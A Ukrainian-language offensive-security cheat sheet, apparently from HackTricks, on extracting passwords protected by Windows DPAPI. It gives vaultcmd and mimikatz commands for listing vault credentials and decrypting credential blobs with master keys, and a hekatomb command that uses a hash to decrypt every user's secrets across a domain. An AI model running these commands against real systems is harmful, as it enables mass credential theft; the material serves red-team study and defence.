DPAPI - Extracting Passwords

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

​​RootedCON є найбільш важливою подією з кібербезпеки в Іспанії та однією з найважливіших в Європі. З метою просування технічних знань, цей конгрес є важливою точкою зустрічі для професіоналів технологій та кібербезпеки у будь-якій галузі.

Що таке DPAPI

API захисту даних (DPAPI) в основному використовується в операційній системі Windows для симетричного шифрування асиметричних приватних ключів, використовуючи як користувацькі, так і системні секрети як значний джерело ентропії. Цей підхід спрощує шифрування для розробників, дозволяючи їм шифрувати дані за допомогою ключа, отриманого з секретів входу користувача або, для системного шифрування, секретів аутентифікації домену системи, тим самим уникнувши необхідності для розробників управляти захистом ключа шифрування самостійно.

Захищені дані за допомогою DPAPI

Серед особистих даних, захищених за допомогою DPAPI, є:

  • Паролі та дані автозаповнення для Інтернет-провайдера та Google Chrome

  • Паролі для електронної пошти та внутрішні паролі FTP для додатків, таких як Outlook та Windows Mail

  • Паролі для спільних папок, ресурсів, бездротових мереж та сховища Windows, включаючи ключі шифрування

  • Паролі для віддалених підключень до робочого столу, .NET Passport та приватні ключі для різних цілей шифрування та аутентифікації

  • Мережеві паролі, керовані Менеджером облікових записів та особисті дані в додатках, що використовують CryptProtectData, такі як Skype, MSN Messenger та інші

Список сховища

# From cmd
vaultcmd /listcreds:"Windows Credentials" /all

# From mimikatz
mimikatz vault::list

Файли облікових даних

Файли облікових даних, захищені можуть бути розташовані в:

dir /a:h C:\Users\username\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\username\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\

Отримати інформацію про облікові дані за допомогою mimikatz dpapi::cred, у відповіді можна знайти цікаву інформацію, таку як зашифровані дані та guidMasterKey.

mimikatz dpapi::cred /in:C:\Users\<username>\AppData\Local\Microsoft\Credentials\28350839752B38B238E5D56FDD7891A7

[...]
guidMasterKey      : {3e90dd9e-f901-40a1-b691-84d7f647b8fe}
[...]
pbData             : b8f619[...snip...]b493fe
[..]

Ви можете використовувати модуль mimikatz dpapi::cred з відповідним /masterkey для розшифрування:

dpapi::cred /in:C:\path\to\encrypted\file /masterkey:<MASTERKEY>

Майстер-ключі

Ключі DPAPI, які використовуються для шифрування RSA-ключів користувача, зберігаються в каталозі %APPDATA%\Microsoft\Protect\{SID}, де {SID} - це Ідентифікатор безпеки цього користувача. Ключ DPAPI зберігається в тому ж файлі, що й майстер-ключ, який захищає приватні ключі користувачів. Зазвичай це 64 байти випадкових даних. (Зверніть увагу, що цей каталог захищений, тому ви не можете переглянути його, використовуючи dir з cmd, але ви можете переглянути його з PS).

Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect
Get-ChildItem -Hidden C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem -Hidden C:\Users\USER\AppData\Local\Microsoft\Protect\
Get-ChildItem -Hidden C:\Users\USER\AppData\Roaming\Microsoft\Protect\{SID}
Get-ChildItem -Hidden C:\Users\USER\AppData\Local\Microsoft\Protect\{SID}

Це виглядатиме як купа майстер-ключів користувача:

Зазвичай кожен майстер-ключ є зашифрованим симетричним ключем, який може розшифрувати інший вміст. Тому витягнення зашифрованого майстер-ключа цікаве для розшифрування пізніше того іншого вмісту, зашифрованого ним.

Вилучення майстер-ключа та розшифрування

Перевірте посилання https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++ для прикладу того, як вилучити майстер-ключ та розшифрувати його.

SharpDPAPI

SharpDPAPI - це порт C# деякої функціональності DPAPI від @gentilkiwi's Mimikatz проекту.

HEKATOMB

HEKATOMB - це інструмент, який автоматизує вилучення всіх користувачів та комп'ютерів з каталогу LDAP та вилучення резервного ключа контролера домену через RPC. Сценарій потім вирішить всі IP-адреси комп'ютерів та виконає smbclient на всіх комп'ютерах, щоб отримати всі блоки DPAPI всіх користувачів та розшифрувати все за допомогою резервного ключа домену.

python3 hekatomb.py -hashes :ed0052e5a66b1c8e942cc9481a50d56 DOMAIN.local/administrator@10.0.0.1 -debug -dnstcp

З вилученого списку комп'ютерів з LDAP ви можете знайти кожну підмережу, навіть якщо ви про них не знали!

"Тому що права адміністратора домену недостатньо. Взламайте їх всіх."

DonPAPI

DonPAPI може автоматично витягувати секрети, захищені DPAPI.

Посилання

RootedCON - найбільш важлива подія з кібербезпеки в Іспанії та одна з найважливіших в Європі. З метою просування технічних знань, цей конгрес є плідним місцем зустрічі для професіоналів технологій та кібербезпеки у будь-якій дисципліні.

Вивчайте взлом AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Last updated